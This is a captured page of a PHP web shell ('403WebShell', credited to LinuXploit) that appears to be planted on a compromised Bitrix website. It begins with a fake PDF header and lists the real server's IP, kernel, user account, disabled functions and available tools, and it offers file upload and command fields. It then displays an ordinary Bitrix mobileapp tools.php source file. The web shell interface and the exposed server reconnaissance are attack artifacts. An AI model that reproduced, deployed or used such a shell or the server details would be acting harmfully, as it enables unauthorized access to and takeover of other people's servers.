%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.119.118.210
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/mobileapp/lib/designer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/mobileapp/lib/designer/tools.php
<?php
namespace Bitrix\MobileApp\Designer;


use Bitrix\Main\Application;
use Bitrix\Main\Config\Option;
use Bitrix\Main\IO\File;

class Tools
{
	private static $jsMobileCorePath = "/bitrix/cache/js/mobileapp_designer/mobile_core.js";

	public static function getMobileJSCorePath()
	{
		self::generateMobileJSFile();
		return self::$jsMobileCorePath;
	}

	private static function generateMobileJSFile()
	{
		$lastModificationHash = Option::get("mobileapp","mobile_core_modification","");
		$coreMobileFileList = array(
			"/bitrix/js/main/core/core.js",
			"/bitrix/js/main/core/core_promise.js",
			"/bitrix/js/main/core/core_ajax.js",
			"/bitrix/js/main/core/core_db.js",
			"/bitrix/js/mobileapp/bitrix_mobile.js",
			"/bitrix/js/mobileapp/mobile_lib.js"
		);

		$modificationHash = self::getArrayFilesHash($coreMobileFileList);

		$coreFile = new File(Application::getDocumentRoot().self::$jsMobileCorePath);

		if($modificationHash == $lastModificationHash && $coreFile->isExists())
			return;

		CheckDirPath(Application::getDocumentRoot()."/bitrix/cache/js/mobileapp_designer/");

		$content = "";
		foreach ($coreMobileFileList as $filePath)
		{
			$file = new \Bitrix\Main\IO\File(Application::getDocumentRoot().$filePath);
			if($file->isExists())
			{
				$fileContent = $file->getContents();
				$content.="\n\n".$fileContent;

			}
		}


		$coreFile->open("w+");
		$coreFile->putContents($content);
		$coreFile->close();

		Option::set("mobileapp","mobile_core_modification", $modificationHash);

	}

	public static function getArrayFilesHash($fileList = array())
	{
		$fileModificationString = "";
		foreach ($fileList as $item)
		{
			$file = new File(Application::getDocumentRoot().$item);
			$fileModificationString .= $item."|";
			if($file->isExists())
			{
				$file->getModificationTime();
				$fileModificationString .= "|".$file->getModificationTime();
			}	
		}

		return md5($fileModificationString);
	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit